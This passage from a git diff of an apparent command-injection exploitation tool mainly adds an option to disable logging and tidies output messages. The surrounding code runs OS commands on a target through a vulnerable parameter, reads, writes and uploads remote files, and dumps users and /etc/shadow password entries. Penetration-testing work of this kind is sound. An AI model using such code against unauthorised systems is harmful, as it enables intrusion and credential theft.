http_request_method, url, vuln_parameter, alter_shell, filename) @@ -550,10 +568,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) else: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 6dc0a3a9c6..087b629f8d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -62,15 +62,15 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u sys.stdout.flush() print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -79,8 +79,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) raise SystemExit() if os.path.isfile(file_to_write): @@ -89,11 +88,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] @@ -140,20 +138,15 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -169,13 +162,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -203,14 +196,12 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 64733ad09b..cff3eb9ab8 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -357,7 +357,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index c10a02e45b..5f39cefc13 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -61,8 +61,9 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -94,8 +95,9 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -157,9 +159,10 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -201,8 +204,9 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ @@ -211,14 +215,16 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: # if settings.VERBOSITY_LEVEL != 0: @@ -228,8 +234,9 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -279,7 +286,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -310,7 +318,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -352,7 +361,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -367,7 +377,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -406,7 +417,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -416,7 +428,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -475,7 +488,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -487,7 +501,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -497,7 +512,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -511,6 +527,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -526,10 +544,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) else: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 94c3ff40af..7de75b13f1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -57,15 +57,15 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http sys.stdout.write(settings.print_bold_info_msg(info_msg)) print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -74,8 +74,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) raise SystemExit() if os.path.isfile(file_to_write): @@ -84,11 +83,10 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] @@ -134,17 +132,15 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -160,13 +156,13 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -191,18 +187,15 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index acd9d990d1..b867d015f8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -111,56 +111,56 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True + # else: + if menu.options.web_root: + settings.WEB_ROOT = menu.options.web_root else: - if menu.options.web_root: - settings.WEB_ROOT = menu.options.web_root - else: - # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. - if "apache" in settings.SERVER_BANNER.lower(): - if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == "win": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - settings.WEB_ROOT = settings.WEB_ROOT - except IndexError: - pass - # Add "/html" to servers root directory - elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - pass - # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" - elif "nginx" in settings.SERVER_BANNER.lower(): + # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. + if "apache" in settings.SERVER_BANNER.lower(): + if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] >= "1.2.4": + if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: - # Add "/www" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/www" + settings.WEB_ROOT = settings.WEB_ROOT except IndexError: pass - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - pass + # Add "/html" to servers root directory + elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): + settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - path = _urllib.parse.urlparse(url).path - path_parts = path.split('/') - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - EXTRA_DIR = path.replace(last_param, "") - settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == "win": - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + pass + # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" + elif "nginx" in settings.SERVER_BANNER.lower(): + try: + check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) + if check_version[0] >= "1.2.4": + # Add "/html" to servers root directory + settings.WEB_ROOT = settings.WEB_ROOT + "/html" + else: + # Add "/www" to servers root directory + settings.WEB_ROOT = settings.WEB_ROOT + "/www" + except IndexError: + pass + elif "microsoft-iis" in settings.SERVER_BANNER.lower(): + pass + else: + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + path = _urllib.parse.urlparse(url).path + path_parts = path.split('/') + count = 0 + for part in path_parts: + count = count + 1 + count = count - 1 + last_param = path_parts[count] + EXTRA_DIR = path.replace(last_param, "") + settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR + if settings.TARGET_OS == "win": + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") return tmp_path @@ -571,7 +571,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: @@ -580,7 +580,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() try: # Pseudo-Terminal shell diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index e2ef149453..0307f698a5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -59,8 +59,9 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -93,8 +94,9 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -153,9 +155,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -200,8 +203,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) @@ -211,14 +215,16 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL == 0 and _: @@ -228,8 +234,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -281,7 +288,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + 